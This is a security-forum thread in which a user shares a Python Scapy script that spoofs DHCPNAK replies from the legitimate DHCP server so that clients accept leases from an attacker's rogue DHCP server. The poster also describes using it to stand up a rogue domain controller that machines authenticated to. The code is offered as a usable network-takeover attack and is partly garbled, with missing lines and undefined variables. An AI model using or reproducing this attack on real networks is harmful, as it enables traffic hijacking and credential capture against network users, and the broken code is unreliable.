Results 1 to 2 of 2

Thread: DHCP Takeover

  1. #1
    Very good friend of the forum Gitsnik's Avatar
    Join Date
    Jan 2010
    The Crystal Wind

    Default DHCP Takeover

    It is unfortunate that some people come along asking for help or suggestions and don't use Backtrack. It makes no sense, but every now and then I come across an idea that makes me think.

    So I took that thread and dug around for a while. I still hate python but when the tools are there you use what you have to I came across this wiki entry when re-familiarizing myself with Scapy and thought it was a better idea than where we were initially going.

    There are some issues which I have attempted to correct here (Remove the Navy, add the Red):
    #!/usr/bin/env python
    # Author: Arn Vollebregt
    # Email: 
    # Version: 0.5.2
    # Date: 12-06-2006 
    # URL:
    # Requires: Scapy ( )
    # Goal:
    # Denying x DHCP requests from DHCP clients, in the hope that the DHCP client will choose our 
    # illegal DHCP server over the legit DHCP server. 
    # What does it do: 
    # * Sends a DHCPDISCOVER packet to discover the legit DHCP server.
    # * Detects DHCPREQUEST (broadcast) packets from DHCP clients, and spoofs DHCPNAK packets from the
    #   legit DHCP server. 
    # * Limited to x DHCPNAK packets per DHCP client per negotiation, to avoid total disfunction of 
    #   DHCP clients. x configurable via 'limit' variable (defaults to 3).
    # * Reports if a DHCP client aquired a lease from the legit or illegal DHCP server.
    # * Only retains client information during lease negotiations. New negotiation means new attempt. 
    # What it does not do (yet):
    # * Does not handle multiple (legit) DHCP servers yet. 
    # * Does not use ARP yet to aquire the illegal DHCP's MAC address (cant figure out why that doesnt
    #   want to work for now).
    # TODO:
    # * Find out how to sendp and sniff concurrently.
    # * Solve my ARP discovery problem.
    # Number of DHCPNAK packets to spoof before giving up.
    limit = 3
    import sys
    import string
    if len(sys.argv) is 1:
        print("Usage: " + sys.argv[0] + " -ip=<illegal DHCP server IP> -mac=<illegal DHCP server mac>"+
        " -v=<0|1|2>")
        print("Example: " + sys.argv[0] + " -ip= -mac=00:00:00:00:00:00 -v=1")
        print("-ip : Your own DHCP server, so that we know not to spoof DHCPNAK's from it.")
        print("-mac: The MAC address of your DHCP server. (See source for reason)")
        print("-v  : Verbosity level; 0: Silent 1: Detected DHCP leases 2: Detected DHCPREQUEST's+"+
        "spoofed DHCPNAK's")
        print("-ip and -mac are manditory, -v is optional (defaults to 2)")
        print("-ip is manditory, -v is optional (defaults to 2)")
    globals()['verbose'] = 2
    for i in range(len(sys.argv)):
        if string.find(sys.argv[i], "-ip") is 0:
            globals()['illegal_dhcp_server_ip'] = sys.argv[i].split('=')[1]
        elif string.find(sys.argv[i], "-mac") is 0:
            globals()['illegal_dhcp_server_mac'] = sys.argv[i].split('=')[1]
        elif string.find(sys.argv[i], "-v") is 0:
            globals()['verbose'] = int(sys.argv[i].split('=')[1])
    if vars().has_key('illegal_dhcp_server_ip') is False:
        print("Please provide the -ip switch")
    if vars().has_key('illegal_dhcp_server_mac') is False:
        print("Please provide the -mac switch")
    from scapy import conf,sendp,srp,srp1,sniff,Ether,IP,ARP,UDP,BOOTP,DHCP
    # TODO: Find out why this works in a standalone script, but not here. Might be my slow laptop...
    # Aquiring the MAC address of the illegal DHCP server.
    #illegal_dhcp_server_mac = packet.hwsrc 
    for snd,rcv in ans:
        illegal_dhcp_server_mac = rcv.sprintf(r"%Ether.src%")
        msg("Detected MAC " + illegal_dhcp_server_mac.upper(), 2)
    # This array will hold the MAC from a DHCP client, and the number of times we have tried to spoof 
    # a DHCPNAK from the legit DHCP server.
    attempted_dhcpnaks = {}
    # This array holds the MAC address from DHCP clients which have send a DHCPREQUEST. We use it to
    # cross reference it with ARP packets to see from which DHCP server a lease was obtained.
    macs = {}
    def msg(string, level):
        if globals()['verbose'] >= level:
    # Sending a DHCPDISCOVER to aquire the DHCP server IP.
    msg("Sending DHCPDISCOVER packet to discover DHCP servers",2)
    # Filtering out the DHCP server it's IP address, and storing it in a global variable. We ignore our 
    # own DHCP server via a bpf filter in the sniff command below. 
    def get_dhcp_server(pkt):
        if pkt[DHCP] and pkt[DHCP].options[0][1] == 2:
            globals()["dhcp_server_ip"] = pkt[IP].src
            globals()["dhcp_server_mac"] = pkt[Ether].src
            msg("Legit DHCP server found on " + globals()['dhcp_server_ip'],1)
    # Detecting DHCPREQUEST packets and ARP packets.
    def detect_dhcp_request(pkt):
        if pkt[DHCP] and pkt[DHCP].options[0][1] == 3:
            msg("DHCPREQUEST detected from " + pkt[Ether].src,2)
            globals()['macs'][pkt[Ether].src] = pkt[Ether].src 
            if globals()['attempted_dhcpnaks'].has_key(pkt[Ether].src) == False:
                globals()['attempted_dhcpnaks'][pkt[Ether].src] = 0
            if globals()['attempted_dhcpnaks'][pkt[Ether].src] < globals()['limit']:
                globals()['attempted_dhcpnaks'][pkt[Ether].src] += 1
                msg("Giving up on spoofing DHCPNAK's for " + pkt[Ether].src + ", failed " +
                str(globals()['limit']) + " times",2)
                del globals()['attempted_dhcpnaks'][pkt[Ether].src]
        if pkt[ARP] and pkt[ARP].op == 0x0002:
            if globals()['macs'].has_key(pkt[Ether].src) == True:
                if pkt[ARP].hwdst == globals()['illegal_dhcp_server_mac']:
                    msg("Succes: DHCP client " + pkt[ARP].hwsrc + " obtained a lease for " +
                    pkt[ARP].psrc + "from the illegal DHCP server",1) 
                elif pkt[ARP].hwdst == globals()['dhcp_server_mac']:
                    msg("Failure: DHCP client " + pkt[ARP].hwsrc + " obtained a lease for " +
                    pkt[ARP].psrc + " from the legit DHCP server",1) 
                del globals()['macs'][pkt[Ether].src]
    # Spoofing a DHCPNAK from the legit DHCP server when a DHCPREQUEST is send from the DHCP client.
    def nak_request(pkt):
        msg("Spoofing DHCPNAK from " + globals()['dhcp_server_mac'],2)
        sendp(Ether(src=globals()['dhcp_server_mac'], dst=pkt[Ether].dst)/
        BOOTP(op=2, ciaddr=pkt[IP].src,siaddr=pkt[IP].dst,chaddr=pkt[Ether].src, xid=pkt[BOOTP].xid)/
        DHCP(options=[('server_id',globals()['dhcp_server_ip']),('message-type','nak'), ('end')]))
    sniff(filter="udp and not host " + globals()['illegal_dhcp_server_ip'] + " and (port 67 or 68)",
    prn=get_dhcp_server, store=0, count=1, timeout=1)
    if globals().has_key('dhcp_server_ip') == False:
        print("No other DHCP server found, exiting")
    sniff(filter="arp or (udp and (port 67 or 68))", prn=detect_dhcp_request, store=0)
    All you need to do is set yourself up with a fake dhcp server, and go to town controlling them all. During testing I used this to set up a rogue PDC that acted mostly like the Samba based PDC the machines were expecting. There were some issues with tying and such but it made for an interesting interim (Machines were authing to the SMB shares regardless of not being able to authenticate against the LDAP because it was invalid).

    I leave the complete implementation up to the reader. Enjoy.
    Still not underestimating the power...

    There is no such thing as bad information - There is truth in the data, so you sift it all, even the crap stuff.

  2. #2
    Join Date
    Jan 2010
    The new forums


    Very cool! I was following that thread and wanted to try this. Will test later tonight and post back my results.

    edit: Got stuck on something else, using my laptop right now. Going to test tomorrow in my lab and post back.

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts